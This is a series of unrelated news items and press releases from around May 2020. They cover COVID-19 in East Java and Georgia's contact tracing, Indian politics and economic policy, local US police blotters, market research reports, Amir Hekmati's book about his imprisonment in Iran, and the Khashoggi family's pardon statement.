The roads are busier now. We will also see [people] attending the Idul Fitri congregational prayer and then practicing the tradition of silaturahmi during Lebaran," he said, referring to the customary "meet and greet" among Muslims during the holiday.

"This is the perfect condition to spread the virus even farther."

Read also: Scientist warns of second COVID-19 wave in East Java after Idul Fitri

According to the official tally, East Java recorded 502 new cases on Thursday, bringing its cumulative total to 2,998 confirmed cases, the second highest after Jakarta. The province, which has emerged as a new epicenter of the outbreak in the country, has also recorded 241 deaths from COVID-19.

Local authorities admitted that the large-scale social restrictions (PSBB) that had been imposed in Greater Surabaya since April 28 had failed to flatten the curve of transmission in the provincial capital and surrounding areas.

Joni Wahyuhadi, the curative management head of the East Java COVID-19 task force, said that Thursday's jump in confirmed cases was in part due to test results submitted from a backlog of around 1,500 swab samples at the lab of the UNAIR Institute of Tropical Diseases (ITD).

"The results of the PCR [polymerase chain reaction] tests on swab samples submitted to the ITD lab on Monday, Tuesday and Wednesday were reported to Jakarta all at once. The cumulative test results of the three days [...] cover 488 samples," Joni told reporters at Thursday's daily COVID-19 briefing.

The eight other COVID-19 testing labs reported only 14 confirmed cases on Wednesday, he said, and that the combined sum of 502 new cases was the figure that national COVID-19 spokesman Achmad Yurianto announced on Thursday.

Joni said that the provincial task force had verified the identity and place of origin for 451 of the 502 new cases, while it was still verifying the remaining 51 cases. The task force had therefore temporarily added only 451 new cases to bring the regional figure to 2,942 confirmed cases.

He said that the spike in new cases was also attributable to a sharp increase to 1,500 PCR tests per day at the nine designated labs in the province.

Read also: East Java girl, 11, becomes youngest COVID-19 fatality in Indonesia

Joni acknowledged, however, that the sharp increase in new cases reflected the continuing spread of the coronavirus in East Java, especially in the provincial epicenter of Surabaya.

Surabaya recorded 311 of the 502 new cases that were announced on Thursday, bringing the provincial capital's cumulative tally to 1,566  a little over half of all confirmed cases in the province.

The satellite regencies of Sidoarjo and Gresik, which make up Greater Surabaya along with the East Java capital, have the second and third highest number of cases and respectively recorded 57 and 27 new cases on Thursday.

The three regions together have nearly 70 percent of all confirmed COVID-19 cases in East Java.
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A new webinar will investigate the potential of the alternative and novel crops market in the UK as various farms see an increase in consumer demand.

The land area used in the UK for novel crops has barely changed for almost 40 years, despite a recent $741m investment into US alternative protein firms.

Oats for use in oat-milk and other plant-based drinks has increased and the plant-based drinks market is now worth 7.5bn annually, and projected to rise b.y 5bn per year.

The Agri-TechE webinar on 17 June Novel and Alternative Crops  Improving rotation and the bottom line will investigate the potential of this market from the perspective of a number of growers.

Protein is the big question  where do we get it from?" asked Dr Mike Salter, R&D facilitator at AB Agri, a global animal nutrition business of Associated British Foods.

"Were looking for novel crops and technologies that can provide more locally produced protein sources for animals."

Part of Dr Salter's work is to look at new ingredients, and he agreed there is a huge potential for innovation for British farmers.

Were feeding protein to pigs and poultry in high levels. A lot of that is soy imported mostly from the US  Europe imports 14 million tonnes of soy a year," he said.

So at AB were looking at different proteins. Some crops like broad beans have often been stated as a decent candidate, but they dont make sense economically for farmers.

"Although broad beans have triple the protein content of wheat, youre getting less than an eighth of the yield."

Dr Salter said his firm is using distillers grains as a source of animal feed protein - a bi-product of the drinks industry, or of bioethanol.

"Its a circular relationship that works really well. But in terms of volume, it doesnt come close to fulfilling our requirement," he added.

The webinar will include input from Edward Blanchard of Suffolk Produce, David Bond of Norfolk Mint Growers, Bruce Knight of Legume Technology, and Brin Hughes, Agronomy Manager for Richardson Milling Ltd.

The Bedford-based millers source oats from various locations throughout the UK and has recently seen an increase in consumer demand.

Mr Hughes wants to see more growers picking up alternative crops, but offers this advice: When looking at oat varieties, its a good idea to talk to your merchant to understand what the end user is looking for, rather than simply choosing the highest yielding variety.

"Pay attention to crop management; oats are a cereal and respond well to precision agronomy.

Dr Salter travels the world looking at innovations. He said there is interesting work at Aarhus University in Denmark, where theyre working on extracting protein from grass.

Grass is about 12% protein and Danish government made a decision that it wanted the top 25% of the Jutland peninsula to be returned to grassland for environmental and cultural reasons.

"The issue is transportation as the grass has a high water content, so processing must be done onsite, and even so this approach is reliant upon government subsidies," Dr Salter said.

The other big focus presently is looking at alternative protein sources for the human food chain, particularly in Western markets.

It is not being considered as an option merely for the relatively small number of vegetarians or vegans, but rather for the larger flexitarian market.

There are a number of new start-ups, often California based Bay Area style businesses, who are focused on plant-based meals and ingredients.

For growers, that is an opportunity for the future, Dr Salter explained: "If companies offering these alternative centre-of-plate items take a significant proportion of the market, there will be a requirement for new types of ingredients in the supply chain  and that might be millions of tonnes."

Farmers, producers and processors need to expect and prepare for a change in demand, as new plant-based food options are identified and new sources of animal feed protein are established.
Sudhir Suryawanshi By

Express News Service

MUMBAI: Maharashtra Governor Bhagat Singh Koshyari on Friday raised a complained to Chief Minister Uddhav Thackeray about the conduct of the Maharashtra Higher and Technical Education Minister Uday Samant for his decision of cancelling the final year examinations of higher educations.

Maharashtra governor asked the chief minister Uddhav Thackeray to resolve the issue of conducting final year examination of students of universities in Maharashtra without any further delay in the larger interest of students.

Not conducting the final year examinations by the Universities amounts to a breach of the University Grand Commission (UGC) guidelines, he wrote in a letter to the Chief Minister on Friday.

Governor took the strong objection to the letter written by Minister of Higher and Technical Education, Uday Samant to UGC recommending cancellation of final year examination of students.

Governor asked the Chief Minister to issue suitable instructions to the Minister for his unwarranted intervention which according to him was in violation of UGC guidelines and also the relevant provisions of the Maharashtra Public Universities Act, 2016.

The Governor has stated that he was not apprised by the minister in the matter before recommending the cancellation of final year examination to the UGC.

The Governor noted that as per provisions of the relevant Universities Act, Universities have the power and duties to hold examinations and confer degrees upon successful students. He noted that it would not be ethical or appropriate to award degrees to final year students without conducting their examinations, which results in a violation of the provisions of the Universities Act.

The Governor observed that receiving degrees by students without undertaking any kind of examinations would have an adverse impact on their higher studies, gradation and employability.

The Governor pointed out that the Ministry of Home Affairs has granted exemption from lockdown measures to the State Education Boards, CBSE, ICSE etc to conduct Standard X and XII examinations. He further noted that the UGC has also issued guidelines on lockdown measures covering important dimensions related to examinations, academic calendar, etc for adoption by the Universities.
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The global industrial air filtration market size is expected to reach USD 18.0 billion by 2027, growing at a CAGR of 7.3% over the forecast period, according to a study conducted by Grand View Research, Inc. The growing demand for high-performing and energy-efficient products is expected to catapult the demand over the forecast period. Technological advancements have resulted in the manufacturing of a new filter media to meet the demand for energy-efficient products. This, in turn, has instigated the development of innovative raw materials such as small fibers and is further anticipated to provide new avenues for industry growth.

Soaring electricity consumption has led to the development of new power generation plants, which is expected to be a key factor driving the market for industrial air filtration. Furthermore, implementation of stringent government regulations in order to protect human health by limiting or eliminating airborne pollutant concentrations will further aid in catapulting the market. Enforcement of Occupational Safety and Health Act (OSHA) code is the key factor anticipated to drive the market for industrial air filtration. The OSHA standards prohibit companies from retaliating against employees for exercising their rights under the law.

Companies across the globe are turning towards sustainable alternatives and methodologies such as green manufacturing in order to improve competitive advantage and increase revenues. Similarly, governments across the globe are collaborating with numerous environmental organizations for developing standards to control harmful emissions in the region. These standards have contributed to the expansion of the market for industrial air filtration across regions.

However, lack of social responsibility and awareness may also pose a challenge to market growth. End use industries often lack their responsibility towards society and refuse to spend extra capital investment for installing an air pollution control devices, which is expected to hamper product demand over the next few years. Equipment purchase decisions are often based on the purchase price of the air filtration equipment, which is further expected to pose as a challenge to the market for industrial air filtration.

Access Research Report of Industrial Air Filtration Market@

https://www.grandviewresearch.com/industry-analysis/industrial-air-filtration-market

Further key findings from the report suggest:

The dry scrubbers segment is expected to witness a CAGR exceeding 7.5% over the forecast period. Dry scrubbers generate minimal waste leading to the elimination of complex sanctioning procedure along with plummeting capital and operating costs

The demand for air filters in the power segment accounted for over 19% of the global industrial air filtration market in 2019 and the segment is expected to witness a steady growth over the next seven years, as this industry has to comply with several government regulations including Environmental Protection Agency (EPA) and OSHA standards

Asia Pacific accounted for over 25% of the overall revenue in 2019 and is expected to witness substantial growth over the forecast period, which is accredited to high penetration of these products across the metal and plastic industry coupled with increased R&D spending in the Asia Pacific food and beverage industry

Key players, such as Honeywell International, Inc., MANN+HUMMEL, Daikin Industries, Ltd., Clean TeQ Holdings Limited, 3M, and SPX Corporation, enhanced their market position through mergers and acquisitions in order to expand their geographical reach.

Grand View Research has segmented the global industrial air filtration market based on product, end use, and region:

Industrial Air Filtration Product Outlook (Revenue, USD Million, 2016 - 2027)

Dust Collectors

Oil Mist Collectors

HEPA Filters

Cartridge Collectors & Filters (CC&F)

Baghouse Filters

Welding Fume Extractors

Wet Scrubbers

Dry Scrubbers

Industrial Air Filtration End-use Outlook (Revenue, USD Million, 2016 - 2027)

Cement

Food

Metals

Power

Pharmaceutical

Agriculture

Paper & Pulp and Woodworking

Plastic

Others

Industrial Air Filtration Regional Outlook (Revenue, USD Million, 2016 - 2027)

North America US. Canada

Europe UK. Germany France Italy Turkey Sweden Spain Poland

Asia Pacific China India Japan South Korea Singapore Australia

Latin America Brazil Mexico Argentina

Middle East & Africa South Africa UAE



About Grand View Research

Grand View Research, Inc. is a U.S. based market research and consulting company, registered in the State of California and headquartered in San Francisco. The company provides syndicated research reports, customized research reports, and consulting services. To help clients make informed business decisions, we offer market intelligence studies ensuring relevant and fact-based research across a range of industries, from technology to chemicals, materials and healthcare.
Overnight reports from Jacksonville police:

 A Jacksonville woman was arrested on a firearms charge Wednesday after police were called to a disturbance on South West Street.

Teresa M. Phillips, 28, of 413 N. Prairie St., Apt. 2, was arrested on a reckless discharge of a firearm charge at 9:48 p.m.

Police said at least one shot was fired during an altercation involving several people in the 700 block of South West Street.

 Three packs of Optimo cigars, all together worth about $3.25, were stolen at 2:39 a.m. Thursday from Jiffi Stop convenience store at 841 W. Morton Ave.

 April C. Turner, 45, of South Jacksonville was treated at Passavant Area Hospital after the car she was driving and one being driven by Matthew C. Iglesias, 46, of Jacksonville collided at Westgate and West Morton avenues at 1:08 p.m. Wednesday.

 David C.L. Bauer
One of the big issues this Memorial Day and also this summer is how much more unknown there is than there has been in the past, said Michael Hunter, director of the Georgia Transportation Institute. We kind of knew where the congestion was likely to be, kind of had a sense of travel patterns, and thats all gone. . . . We dont fully know whats even allowed now.
Im from the government

Privacy concerns

Building bridges

(TNS)  A viral Facebook post falsely claiming new federal legislation would allow the government to forcibly remove people from their homes is an example of one of the many messaging challenges facing Georgias growing team of contact tracers.The state Department of Public Health wants to quadruple the number of tracers it employs in the weeks ahead, to upwards of 1,000 , as it looks to contain the spread of COVID-19. Its now embarking on a mini public relations campaign to explain to Georgians what contact tracing is  and clear up a bevy of misconceptions about the kind of information the state is collecting.Winning the buy-in of the public is critical. Tracers jobs depend on people who test positive for COVID-19 to disclose sensitive information: their close contacts. The tracers then reach out to those contacts, urge them to isolate for 14 days and report their symptoms, which are fed into the states communicable disease tracking system. The task isnt easy. Tracers must work quickly to keep up with the virus, which infects upwards of 600 Georgians a day and has killed roughly 1,700 people in the state. They must find ways to gain the trust of strangers over the phone, including those wary of the government.The potential for a communication breakdown is a concern of Kathleen Toomey, the states top public health official. She oversaw HIV contact tracing work for the Centers for Disease Control and Prevention earlier in her career.For this to be successful, people have to feel comfortable cooperating with us, accepting that phone or text message that comes from the health department, Toomey said in a recent interview.Already, Georgias tracers face some skepticism.Conspiracy theories spreading rapidly across social media amplify myths about the government removing people from their homes  including children  so they can be forcibly quarantined.One recent post rated false by the fact-checking site PolitiFact contends that a $100 billion contact tracing bill introduced in the U.S. House of Representatives is about controlling/tracking (the) population, not about coronavirus. The legislation , authored by Illinois Democrat Bobby Rush, would authorize the CDC to award grants to health centers, nonprofits and other groups performing contact tracing in coronavirus hot spots and medically underserved communities.Dr. Lawton Davis, director of the states Coastal Health District, oversees a team of more than a dozen contact tracers. He said most of the people his staff has reached out to have been cooperative but that a smaller number have been a little bit suspicious, he said.Its the old hey, Im from the government and Im here to help, he said. Some people are just generally uncomfortable of sharing names and contact information and so it feels like an invasion of privacy.A growing part of Davis and Toomeys jobs is explaining to anyone who will listen  the public, local elected officials, the news media  what contact tracers do and dont do.Were not trying to identify illegal aliens and have you transported elsewhere. Were not obtaining your financial information, said Davis. We just want to identify those people who may be at risk and try to slow the spread of the virus and save lives.One area thats required some extra explaining: the application the state recently purchased to aid its tracing efforts.The online platform is designed to save the states tracers time. People who have been exposed to the virus log their symptoms into the program from their smartphones.Its separate from an an app being developed jointly by Apple and Google that uses Bluetooth technology to ping people when theyve been near someone who reports testing positive for the virus. Still, it has led to some public confusion. A recent survey fromand the University of Maryland found that nearly three in five Americans are either unwilling to use the upcoming Apple-Google system or dont own a smartphone.Toomey has recently emphasized that Georgias new tracing platform doesnt use Bluetooth.Our app is not one that monitors your every move, she said. What our app is designed to do is to allow our staff to monitor people without them having to call.Still, members of both political parties say special safeguards are needed since the state will be handling sensitive health information.State Rep. Sheri Gilligan, R-Cumming, wants tracers to be trained to understand patient confidentiality and for new restrictions to be put in place so that data is anonymous, encrypted and deleted from all servers no longer than 21 days after data collection.U.S. Rep. Hank Johnson, D-Lithonia, recently introduced two bills in the House that would force app makers to disclose their data collection practices and allow users to access their personal data, correct any inaccuracies and stop brokers from sharing or selling it. The legislation is focused on the private sector, but Johnson said there needs to be separate guidelines for the governments collection and use of personal data.Im not ready to say that Im going to be in favor of such data collection, said Johnson.Cellphone data collection may be new for epidemiologists, who have used contact tracing for decades to track infectious diseases such as tuberculosis and HIV. A longtime challenge that will be just as critical now is reaching vulnerable communities, they say.Recent evidence suggests African Americans are being disproportionately hit by COVID-19 in Georgia, and undocumented immigrants and low-wage workers are also particularly vulnerable since many work frontline jobs that put them into close contact with the public.Some people interviewed by Davis tracers have been concerned that cooperating could get them in trouble with immigration officials or their bosses if the coronavirus forces them to miss work, he said.Charles Stephens, founder of the Counter Narrative Project, an Atlanta-based group that seeks to amplify the voices of black gay men, said many in the African American and the LGBTQ communities havent had the best experiences navigating health care institutions.Norma Hernandez, head of the Northeast Georgia Latino Chamber of Commerce who is coordinating a COVID-19 task force in Gainesville, a recent coronavirus hot spot , said the local Latino community is close-knit and often distrustful of outsiders.The government cant just show up and say hey, this is whats going on. Nobodys going to listen, Hernandez said. But if the government finds somebody in town and asks to pass the message (along), then that is going to go very far.Toomey said DPH is developing educational videos in English and Spanish, seeking out bilingual tracers and reaching out to community, faith and business groups. Shes also seeking out celebrities and other leaders who can act as emissaries.Were looking at every opportunity we can, she said.
The government has only taken a pause and more measures will be announced in the days to come to help sectors hit by the coronavirus outbreak and also to make India Atmanirbhar Bharat', Minister of State for Finance Anurag Thakur said.

Since the outbreak of the pandemic, the government has taken several steps to mitigate the hardships of the people due to lockdown and support growth, Thakur told PTI in an interview.

Only this Sunday, he said, the government on the direction of Prime Minister Narendra Modi announced a comprehensive economic package of Rs 20.97 lakh crore to support the economy hit hard by COVID-19.

"We came first with the ease of compliance. The second was for the Pradhan Mantri Garib Kalyan package (Rs 1.70 lakh crore) and the third was this stimulus package of Rs 20.97 lakh crore. This can't be the end," he said while sharing details of a series of announcements.

"The announcements have taken a pause and the action will continue," the minister said when asked whether the government was expected to come out with more measures to deal with the current economic crisis following the coronavirus outbreak.

Emphasising that the Modi government is sensitive to the needs of people and businesses, he said, the ministry is taking the inputs from various sectors.

"Tourism is a very very important sector for us. Hospitality is an important sector for us. Civil Aviation is an important sector for us. In a country like India where they contribute to the GDP, not only GDP but millions of jobs have been provided through these sectors. We are very open about these sectors, and others if any have been left out.

"But let me say here also many will also fall into other categories which have been benefited. Some will benefit from the series of announcements made for the MSME sector. Small hotels which fall into this category can take advantage of the announcement made in the Atmanirbhar Bharat Abhiyan package," he said.

Stressing that economic reform is a continuous process, the minister said, "I'll say the year 2020 will be known as the year of reforms.

In bold reforms aimed at boosting the sagging economy, the government last week announced several reforms including a slew of measures for the agriculture sector, defence manufacturing, civil aviation and mining sector.

"The long-pending demand for the change of definition of MSME, taking farmers out of the clutches of the Essential Commodities Act and the APMC Act have been seen as historic steps. Opening up of the coal mining and mineral sector at the same time has been a very positive step towards self-reliance," he said.

"Apart from that opening up of the space sector is not a small reform. Permitting foreign investors to own up to a 74 per cent stake in defence manufacturing ventures under the automatic route, from the current 49 per cent limit is another big bold move," he said.

Also, the list of weapons that cannot be imported will be expanded to give Make in India a boost and cut down the import bill and improve export potential.

Rebutting the criticism that the government has not done enough to push demand, the minister said that the central government has transferred funds directly to the needy, whether it was fund transfer to 20.5 crore Jan Dhan account holders or 2.2 crore national security assistance programme beneficiaries, or 9 crore farmers.

Besides, he said, the Modi government has undertaken several other measures which will directly benefit the needy people. These include distribution of free ration to about 80 crore people, gas cylinders under the Pradhan Mantri Ujjwala Yojana etc.

The government, the minister said, has announced a series of measures to help the MSME sector which employs the highest number of people (about 12 crores) after agriculture.

Among other things, the government has made a provision of Rs 3 lakh crore of collateral-free loan for the MSME sector.

"I think this is going to give a boost to the MSME sector," the minister said, adding it will help in protecting jobs and there would be no more layoffs.

At the same time, the minister said, the money in the hands of people will go a long way in boosting aggregate demand in the economy.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
SOLON, Ohio

Domestic violence: Arbordale Avenue

At 9:10 p.m. May 18, a woman, 23, reported that her boyfriend, 24, had assaulted her. At the couples home, it was learned that the man had pinned the woman against a wall while her hands were behind her back, then choked her. The woman is three months pregnant. The man was charged with domestic violence -- in this instance a fifth-degree felony.

Assault: Springside Lane

At 2:35 a.m. May 14, a woman reported that her son, 22, had been assaulted by a friend, another 22-year-old man. The woman said her son suffered a cut nose and a bump on the head during the assault. Police spoke with the involved parties and decided against filing charges.

Warrant arrest: Aurora Road

At 3:30 p.m. May 15, an officer stopped a car after learning that its registration matched that of another vehicle. It was then found that the driver, a Bedford Heights man, 25, was wanted on a warrant issued by police in that city.

The man was arrested on the warrant and also cited for drug abuse and possession of marijuana paraphernalia.

Criminal damaging: Aurora Road

At 8:25 a.m. May 15, a man called police after his live-in girlfriend began to act in an unusual manner. When officers arrived, the woman, 32, began to climb the side of her apartment wall, then went on to sit on and damage satellite dishes.

Police took the woman to Ahuja Medical Center for an evaluation. It was not immediately known if drugs were involved. The woman was cited for criminal damaging, as she bent the satellite dishes.

OVI: Aurora Road

At 4:10 p.m. May 15, police investigated a two-car crash and learned that one of the drivers, a Cleveland man, 50, was intoxicated.

Police charged the man with OVI, failure to maintain an assured clear distance, not wearing a seatbelt, and having a blood-alcohol content of greater than .17. A driver is considered impaired in Ohio with a BAC of at least .08. The man had a BAC of .240.

OVI: U.S. 422

At 10:20 p.m. May 16, an officer stopped a car for speeding on U.S. 422 westbound. It was subsequently discovered that the driver, a Macedonia man, 46, was intoxicated.

The man was charged with OVI and cited for speeding and driving with a suspended license. He refused to take a breath test.

Drug possession: U.S. 422

At 10:45 p.m. May 17, an officer stopped a car for speeding. It was discovered that the driver, a Windham, Ohio, woman, 40, had an open container of alcohol in her car and that she had a suspended drivers license. The woman was charged for each of the offenses.

Domestic violence: Arbordale Avenue

At 10:25 a.m. May 17, police arrested a Solon woman, 20, for domestic violence. The woman was arguing with her stepfather, 36, when he grabbed her cell phone from her hand. The woman responded by threatening to have someone shoot him. Next, the woman went outside and kicked her stepfathers car, causing a dent in the vehicle.

OVI: U.S. 422

At 12:15 a.m. May 17, an officer stopped a car that had swerved across the center line. It was then learned that the driver, a Cleveland man, 33, was intoxicated. The man was charged with OVI and for a marked-lanes violation. He refused to take a breath test.

Criminal mischief: Cromwell Drive

At 8:25 p.m. May 17, police arrested a Solon man, 19, who had spray-painted a parked car. The suspect had left the scene in a car that also contained three passengers. Police located the car and charged the man with criminal mischief. It was not known why the man sprayed paint on the car.

Suspicion: Pepper Drive

At 7:30 p.m. May 19, a woman reported that she didnt feel safe in her home because her husband has been video recording her.

Read more from the Chagrin Solon Sun.
FLINT, MI  The Flint Marine imprisoned for more than four years in an Iranian prison has written a new book about his experience.

Entitled Crossfire: Trapped in the US-Iran Covert War, Amir Hekmati details his arrest, conditions in prison, treatment by interrogators and stories of other Americans and Iranians impacted by an ongoing conflict between the countries.

A 2001 Flint Central High School graduate and U.S. Marine Corps veteran, Hekmati was taken into custody on Aug. 29, 2011, as he prepared to attend a family holiday celebration.

Hed traveled to Tehran -- Irans capital city - two weeks earlier for the first time to visit his grandmother and other relatives.

Hekmati was originally sentenced to death on a charge of espionage, which was eventually overturned. He was later charged with cooperating with and collaborating with the U.S. government and sentenced to 10 years in prison.

Flint Central High School alum who was detained in Iran on charges of spying may face same lengthy ordeal as jailed American hikers

My recovery from the events in Iran are ongoing, he told MLive-The Flint Journal.

Efforts began to free Hekmati following his imprisonment, from the #freeamir campaign on social media to diplomatic efforts by government officials including U.S. Rep. Dan Kildee, D-Flint Township, speaking with Iranian Foreign Minister Javad Zarif during a 2015 visit to New York.

He returned to Flint on January 22, 2016 after being released and spending several days in Germany where Hekmati was met by family and government officials, including Kildee.

Hekmati was one of four Americans freed by the Iranian government in exchange for clemency of seven Iranians over trade sanction violations.

Amir Hekmati returns to Flint: I love this city

Almost five years of my life were stolen, some of my best years were lost -- 28 to 32 (years old) -- so I didnt have the time to continue to lose more time dwelling over the past, he said. Upon return from Iran, I did speak to counselors, but my family, and faith has been the greatest help in moving on, and Id say that while its not a situation one can ever completely recover from, Im grateful to have been able to continue on with my life.

The books title alludes to arrests that began in 2001 in Iran, specifically targeting Iranian Americans.

They were never about the individuals themselves. Whether it was me, Saeed Abedini the Christian Pastor, Jason Rezaian, the (Washington Post) reporter, or others, it wasnt that the regime in Iran had personal vendettas against us as individuals, said Hekmati. We were caught in the crossfire of an ongoing conflict between two countries.

Hekmati, 36, feels relations between the countries have worsened and unless there is a major policy shift things will continue down the same path.

Amir Hekmaiti discusses what kept him alive during captivity in Iran

There are a dozen or so Americans, Brits, Europeans, and Aussies imprisoned in Iran as we speak, he said, one of whom is a former U.S. Navy member. However, despite the ongoing impasse neither the USA or Iran want another war in the region, so the continued trend of confrontation by proxy is destined to continue.

Hekmati sued the Iranian government in May 2016, with a U.S. District Judge Ellen S. Huvelle of Washington ruling in his favor for a $63 million default judgement, but he has not received any of the funds to date.

After spending two years in Flint upon his release to spend time with family, recuperate, and take care of his ailing father, Hekmati moved to Houston in 2018 where he runs TradeFlow LLC which advises investors, institutions and family offices on investments in financial commodities, specifically oil and gasoline.

A lawsuit filed in November 2019 against the U.S. government seeking compensation through the United States Victims of State Sponsored Terrorism Fund continues to make its way through the court system.

Those interested in the book can find it for purchase online here.

Ailing father of Amir Hekmati pleads for sons freedom following more than year-long confinement in Iran
Dublin, May 21, 2020 (GLOBE NEWSWIRE) -- The "Beard Care Market - Global Outlook and Forecast 2020-2025" report has been added to ResearchAndMarkets.com's offering.



In-depth Analysis and Data-driven Insights on the Impact of COVID-19 Included in this Beard Care Market Report.



Key Market Insights



Offers sizing and growth prospects of the market for the forecast period 2020-2025.

Provides comprehensive insights on the latest industry trends, forecast, and growth drivers in the beard care market.

Includes a detailed analysis of growth drivers, challenges, and investment opportunities.

Delivers a complete overview of segments and the regional outlook of the beard care market.

Offers an exhaustive summary of the vendor landscape, competitive analysis, and key strategies to gain competitive advantage.

The global beard care market is expected to grow at a CAGR of over 6% during the period 2019-2025.



Changing perceptions toward facial hair care products among men and the increasing popularity of men's grooming products have led to the growth of grooming products, especially beard care. More than 75% of men feel that a well-groomed appearance enhances and boosts self-confidence. This assumption, which has been prevalent in major metros and urban cities, is gradually spreading to tier-II cities due to the increasing internet penetration.



Moreover, the grooming trend has inculcated millennials to focus on appearance and beard styling. The exposure to global brands and products with the rise in purchasing power among millennials is enhancing market growth. With product innovations and expansion strategies, the industry can penetrate further among men in the next five years. Hence, the changing perception among men toward grooming products, which was traditionally associated with attracting the opposite sex, is expected to promote the growth of the men's grooming industry.



Market Dynamics



Impact of COVID-19



Opportunities & Trends

Story continues

Growth in Beard Transplantation

Product Innovations & Marketing Strategies

Growth in Beard Grooming Services

Growth Enablers

Rising Awareness of Personal Grooming

Growth in Fashion-Conscious Consumers

Rising Demand for Organic Cosmetic Products

Rising Number of Middle-Class Consumers

Restraints

Growth in Counterfeit Products

Presence of Cheaper Alternatives

Beard Care Market: Segmentation



This research report includes a detailed segmentation by product, end-user, age group, distribution, and geography. The beard oil segment dominated the market in 2019 and is expected to sustain its position worldwide during the forecast period. The rapid growth in this segment is due to the new demand from secondary markets such as India, Malaysia, Brazil, Turkey, and Argentina. With the rise in grooming trends, facial hair oils are the most frequently bought products due to their significance and proven results. They constitute an essential component of the beard care kit.



The oil and serum segment is closely followed by the wax and shampoo & conditioner segments. Despite the high preference of balms over wax, more than 65% of vendors are offering high-quality wax products. Hence, owing to the high market offerings for beard waxes, consumers are eventually ending up buying them on account of limited stocks. The APAC region is likely to grow at the fastest CAGR, whereas Europe is expected to pose an incremental growth of over $160 million. The beard wax segment is expected to generate additional revenue of over $253 million during the forecast period. Western countries are the major revenue contributors to the segment due to the rise in the number of specialized wax styling products from vendors. Further, these countries host a few major players that are renowned for unique styling waxes. The growth is expected to be more significant among Western European and Scandinavian countries.



The 1829 years segment consists of millennials that are open to new products and varietal experiences. It is estimated that this segment is not so brand loyal and is likely to keep switching brands for improved results. The APAC region is projected to be the fastest-growing region owing to the presence of the young and dynamic millennial population, which also increases the scope for new product launches in the market. Malaysia, Thailand, and Singapore are expected to lead the market in the region. The sale and preference of oils and serums is higher in this age group than other grooming products.



With the beard care market is greatly influenced by consumption trends and lifestyle changes, the success of products rely on communication mix and distribution strategies. The online beard care market is expected to grow at a CAGR of over 7% due to the development of digital marketing strategies, e-commerce platforms, internet penetration, and mass data management. Vendors are capitalizing on the online distribution trend through content marketing and significant positioning techniques. A majority of brands are offering their products via company websites. Brands solely rely on e-commerce platforms to penetrate their products and promote them effectively. However, supermarkets and department stores are expected to remain as the dominant distribution medium for these products. Brands such as L'Oral are making efforts to attract consumers to their salons, which will enhance the demand for grooming products.



Individual end-users are more prevalent in the industry as the preference for professional beard grooming products has started to gain momentum across the world. The 18-29 years age group and the millennial segment are the potential target group for oil and wax products. Demographical factors are majorly influencing the segment that is driving the demand for men's grooming products. While the millennial segment in India demands oils, waxes, and conditioners, Japan and South Korea are finding no penchant for these products in the aging consumers. Owing to the divergent consumer base, vendors have to offer a wide range of products based on consumer preference and skin types. Due to the low availability of beard care salons and spas in the APAC region, the proportion of individual end-users is high in the growing economies of the region. The APAC region is expected to pose the highest incremental revenue growth, which is expected to contribute over 22% of the total revenue by 2025.



Market Segmentation by Product

Oil & Serum

Wax

Balms

Shampoos and Conditioners

Others

Market Segmentation by End-user

Individuals

Salons & Spas

Market Segmentation by Age Group

18-29 years

30-50 years

50+ years

Market Segmentation by Distribution

Offline

Online

Insights by Geography



The global beard care market is highly prevalent in western European countries and North America. The growth can be associated with the pre-existing awareness of products and the growth in the male grooming industry. Europe is the dominant market, which is likely to continue its dominance during the forecast period. Factors such as the presence of specialized grooming salons, the high adoption of premium products, the introduction of natural and organic-based grooming products are the major drivers for the market dominance.



North America is expected to contribute over 26% of the total revenue by 2025. With the US being the major contributor, the country is likely to witness the growth of numerous domestic vendors during the forecast period. The favorable market landscape supports the growth of niche players, including salons and spas. The shift in the grooming trend in generation X and the millennial population is more likely to sustain during the forecast period.



Insights by Vendors



The beard care market is highly fragmented with more than 250 recognized vendors across the globe. With the only limited number of global players, which account to around 50, the rising grooming trend has given rise to numerous domestic and local vendors, which is posing a tough challenge to renowned vendors across geographies. The number of players is expected to increase, which will increase the intensity of competition in the market further. The market will also undergo a fierce and competitive landscape in the coming years, where vendors will try to establish their market share with maximum penetration among target consumer groups.



Prominent Vendors

Edgewell

L'Oreal Paris

Estee Lauder

Unilever

Honest Amish

Wild Willies

Cremo

Liberty

Smoky Mountain Beard Co.

Beardoholic

Murdock London

Beardbrand

Mr Natty

Badass Beard Care

Billy Jealousy

Beardo

The American Beard Company

Viking Beard Company

The Beard Struggle

Viking Merch

Gentle Vikings

Smooth Viking

Robin Hood Beard Company

The Bearded Men

The Brighton Beard Co.

For more information about this report visit https://www.researchandmarkets.com/r/srt7pc

Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research.

CONTACT: CONTACT: ResearchAndMarkets.com Laura Wood, Senior Press Manager press@researchandmarkets.com For E.S.T Office Hours Call 1-917-300-0470 For U.S./CAN Toll Free Call 1-800-526-8630 For GMT Office Hours Call +353-1-416-8900
The sons of slain journalist Jamal Khashoggi posted a message on social media early Friday saying that they have forgiven their father's killers, a declaration that could allow Saudi authorities to commute the death sentences of five Saudi officials convicted of Khashoggi's murder.

The statement was posted on the Twitter account of Salah Khashoggi, the journalist's eldest son, who lives in Saudi Arabia. "We, sons of the martyr Jamal Khashoggi, announce that we forgive those who killed our father," said the message, which cited a tradition of granting pardons during the holy month of Ramadan.

The Saudi justice system allows families of victims in some capital cases to grant clemency to convicted killers. There had been widespread speculation that Khashoggi's children, who have refrained from criticizing the Saudi leadership, would take such a step, though it was not clear whether their expression of forgiveness was extended willingly or coerced.

Khashoggi's fiancee, Hatice Cengiz, criticized the Khashoggi family statement on Friday. "No one has the right to pardon his killers," she wrote on Twitter. "I and others will not stop until we get #JusticeForJamal."

Khashoggi, a veteran journalist who contributed columns to The Washington Post, was killed in the Saudi Consulate in Istanbul in October 2018 when he went to collect documents that would allow him to remarry. The killers were Saudi government agents, dispatched to Turkey on the orders of top advisers to Crown Prince Mohammed bin Salman, according to Turkish and Saudi prosecutors.

Khashoggi's body was dismembered as part of a blundering attempt by the agents to cover up the murder, prosecutors said. The Saudi government initially denied any knowledge of the killing and later called it a rogue operation. The crown prince denied any advance knowledge of the plot, even though the CIA concluded with "medium to high confidence" that Mohammed had ordered Khashoggi's killing.

Saudi prosecutors said in December that five unidentified people had been sentenced to death in connection with the murder after a trial in Riyadh, the Saudi capital. Three other people were sentenced to jail terms totaling 24 years.

